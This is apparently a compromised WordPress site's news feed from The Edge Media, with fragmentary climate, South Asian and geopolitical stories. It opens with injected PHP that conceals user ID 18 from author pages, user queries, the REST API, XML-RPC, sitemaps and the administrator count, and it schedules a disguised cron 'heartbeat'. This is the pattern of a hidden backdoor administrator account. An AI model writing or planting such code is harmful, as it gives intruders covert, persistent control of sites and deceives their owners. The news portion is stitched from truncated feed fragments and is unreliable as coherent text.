add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi proposes a ‘One Sun, One Grid’ solution to the world’s fossil fuel crisis at the COP26 conference appeared first on The Edge Media.
]]>
He said that solar energy was completely pure and sustainable, but that it was only available during the day and was weather-dependent. Laying out a plan through the ‘One Sun, One World and One Grid’ solution, the Prime Minister said, “Through a worldwide grid, clean energy can be transmitted anywhere and anytime.”
The post PM Modi proposes a ‘One Sun, One Grid’ solution to the world’s fossil fuel crisis at the COP26 conference appeared first on The Edge Media.
]]>The post After the G-20 avoids difficult questions, the UN Climate Summit begins under cloud cover appeared first on The Edge Media.
]]>
They got what they needed in the broadest sense – any agreement was preferable to acrimonious breakdown. Politicians promised to stop financing overseas coal plants, address methane leaks, and take more action to limit global warming this decade. However, they were unable to reach an agreement on a specific date for phasing out the dirtiest fossil fuel and reaching net-zero emissions.
The post After the G-20 avoids difficult questions, the UN Climate Summit begins under cloud cover appeared first on The Edge Media.
]]>The post PM Modi on 9/11: The world has recognized that India’s human principles may provide long-term solutions to disasters such as this appeared first on The Edge Media.
]]>Modi was addressing after inaugurating the Sardardham Bhavan complex in Ahmedabad via video conference, where job seekers and students will be trained. He also did the bhoomi pujan at the Sardardham Phase-II Kanya Chhatralaya, a ladies’ dormitory, in Sardardham.
The post PM Modi on 9/11: The world has recognized that India’s human principles may provide long-term solutions to disasters such as this appeared first on The Edge Media.
]]>The post World Humanitarian Day, messages and wishes appeared first on The Edge Media.
]]>This year, the theme is “The Human Race”, and it focuses on taking up global action to combat climate change while standing in solidarity with vulnerable populations around the world. The United Nations has urged people, especially social media users, to mark this day by showing their solidarity for vulnerable populations.
So, let us celebrate this day by showing support and raising awareness among friends and family through messages, wishes and quotes.
Messages and wishes for World Humanitarian Day 2021:
On World Humanitarian Day 2021, let us follow Mahatma Gandhi’s words, “Be the change you want to see in the world”.
Wishing you a fruitful World Humanitarian Day 2021. Mark this day by doing some good for the world.
Happy World Humanitarian Day 2021. On this day, do whatever you can to support and help the people around you.
Little efforts can leave great impressions. On this World Humanitarian Day, help someone in whatever little way you can.
Mother Teresa said, “If you can’t feed a hundred people, feed just one.” On World Humanitarian Day 2021, let us help and support the world in whatever ways we can.
Change starts with the efforts of one person and is followed by others who are inspired. On this World Humanitarian Day, be the person to inspire change for the good of others.
The post World Humanitarian Day, messages and wishes appeared first on The Edge Media.
]]>The post Climate change is causing destruction all over the world appeared first on The Edge Media.
]]>In the past week alone, 380,000 people have been evacuated due to floods in China’s Henan province, 30 villages in Uganda were affected as rivers overflowed and 25 people died in landslides after Mumbai was hit by big storms that also inundated regions surrounding the megacity. Temperatures in Turkey and North Africa approached 50 degrees Celsius (122 Fahrenheit), while South Africa and Brazil froze. Siberia is battling wildfires again.
Finland experienced 31 consecutive days with maximum temperatures above 25 degrees Celsius, the longest heatwave ever recorded in the country. Emergency rooms filled up, mostly with people suffering from dehydration and cardiac issues, local media reported.
“Research shows that similar long heatwaves can lead to several hundreds of excess deaths, mostly among the elderly,” said Virpi Kollanus, a researcher at the Finnish Institute for Health and Welfare. A 2018 heatwave is estimated to have caused about 380 deaths in Finland.
In Iran, the hottest summer in decades has led to water shortages that in turn sparked protests in the country’s southwest. At least one protester has been killed by gunfire and a policeman was shot dead during the unrest.
All these calamities are part of a constellation of extreme weather events that paint a picture of a world that’s already warmed 1.2 degrees Celsius from pre-industrial times. There’s no doubt it will get warmer.
The global climate is out of balance, German meteorologist Johannes Quaas said in an interview last week as his country reeled from floods that killed over 170 people and left hundreds missing. Our climate’s reaction to greenhouse gas emissions isn’t immediate. The warming and resulting weather events that we see today are a reaction to emissions that entered the atmosphere decades ago.
“Even if societies meet the target to reduce carbon dioxide pollution to net zero in 2050, the planet will continue to warm after that,” Quaas said. “The planet needs to reach a new balance and will continue to warm until it does.”
Scientists estimate that, even if we meet global emissions reduction goals, some amount of warming is baked in. That will take the planet to somewhere between 1.5 degrees Celsius to 2 degrees Celsius above pre-industrial times by the end of the century. While their warming predictions have been correct in the past, there’s no way to be absolutely sure when temperatures will stop rising, because the experiment we’re running on the planet has never been attempted before.
“We’ll definitely make it to 1.5 degrees Celsius and it will be hard to stop the warming and remain there,” said Hans-Otto Portner, a professor at the Alfred Wegener Institute for Polar and Marine Research and an adviser to the German government on climate and the environment. “This tells us that we haven’t reached the end of it. The motivation to do something about climate change only grows because we see the signs on the wall.”
Death, violence and destruction are all signs of humanity’s struggle to adapt to a changing climate. “It seems like there’s something in human mentality that makes us be behind the events, and not ahead,” Portner said. “Maybe that’s because the nature of unprecedented events is that we can’t imagine what’s coming.”
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Climate change is causing destruction all over the world appeared first on The Edge Media.
]]>The post How suddenly the earnings from foreign countries increased in Pakistan appeared first on The Edge Media.
]]>Kanwal Azeem, who works at a grocery store in the capital of Oslo, Norway, used to send money to the country through handover and handi.
The post How suddenly the earnings from foreign countries increased in Pakistan appeared first on The Edge Media.
]]>The post Donald Trump lost his property while president appeared first on The Edge Media.
]]>According to these documents, business real estate accounts for about three-fourths of Trump’s total assets. According to Bloomberg, the price of such property has decreased by about 26%. The real reason for the price of the business buildings that they own, either alone or with someone, is corona, because of this, a lot of people are currently working from their homes. Hopefully, this trend will end now after a long time.
The post Donald Trump lost his property while president appeared first on The Edge Media.
]]>The post America is trapped in debt cycle, Biden’s economic package will increase difficulties appeared first on The Edge Media.
]]>The post America is trapped in debt cycle, Biden’s economic package will increase difficulties appeared first on The Edge Media.
]]>The post What is the latest dispute between China and India regarding Arunachal Pradesh? appeared first on The Edge Media.
]]>The Foreign Ministry of India says that they are keeping an eye on these news stories.
The village, which is being talked about in the media, is located on the banks of ‘Saari Chu’ river in Upper Subansiri district of Arunachal Pradesh. Experts believe that this area has also been witness to very violent clashes between the army of India and China.
Planet Labs, the largest company to operate the satellite, has released two pictures taken from the satellite to compare this area.
A picture is being told of August 2019, in which there is no construction of any kind, while the second picture is of November last year, which shows many pucca houses and roads.
India’s Foreign Ministry has said in its statement that China has been working for the past few years near the LAC adjacent to Arunachal Pradesh.In a statement released on Monday, the ministry says that India is also accelerating the work of building bridges, roads and infrastructure along the border, which will help the local people living near the border.
Bharatiya Janata Party’s Arunachal Pradesh MP Tapir Gao has been raising questions for the past several years accusing China of infiltrating Parliament and outside Parliament.
He first raised this matter in Parliament on September 2019 and then in November. Both times the government denied the allegations of infiltration by China.
This time too, he has expressed his concern about the settlement of China’s villages. The BBC tried to contact him, but he was not available to give his response.
However, while talking to the news agency ANI, he has said that China has occupied many parts of Arunachal Pradesh since the year 1980, where it has also done construction work. Tapir Gao alleges that China has also constructed an airstrip between ‘Bisa’ and ‘Mazah’ located on the Indian side within the McMahon Line.
While talking to the agency, he also alleged that while Rajiv Gandhi was the Prime Minister, China had captured the ‘Sumdorong Valley’ of Tawang, which the Indian Army wanted to retaliate to regain. But they allege that the then government did not allow the army.
Amidst this controversy, the Ministry of External Affairs of the Government of India says that the government is monitoring every activity happening on the LAC and taking every step to maintain the unity and sovereignty of the country.
The post What is the latest dispute between China and India regarding Arunachal Pradesh? appeared first on The Edge Media.
]]>The post Russia told India special but expressed concern on one front appeared first on The Edge Media.
]]>In response to this question, the Russian Foreign Minister said, “The partnership between India and Russia is very wide. You can also call it a strategic partnership. Our strategic partnership was called a special strategic partnership after Prime Minister Narendra Modi came to power. Russia and India have a very special relationship. India is very close to Russia. Is very strategic. Whether you look at it at the level of economy, at the level of innovation, hitech or at the level of military technology. ”
“We are all very close on the front. India is one of our closest partners. Obviously there is close political coordination between us. Whether it is within the United Nations or at the BRICS level. We have done a lot together on these forums. India and Pakistan are also in Shanghai Co-Operation Corporation. We work together across the continent through these forums. It is widely known as Asia-Pacific. Dialogue between the two countries takes place from the minister’s level to the President’s and Prime Minister’s level.
Sergey Lavroff said, “We talk very openly among ourselves.” We also talk on many ideas with political issues. They also include the Indo-Pacific strategy. We do not rely only on termological changes. If you go only on the basis of term, Indo means the entire Indian Ocean. But East Africa, Persian Gulf are also included in the Indo Pacific. ”
The post Russia told India special but expressed concern on one front appeared first on The Edge Media.
]]>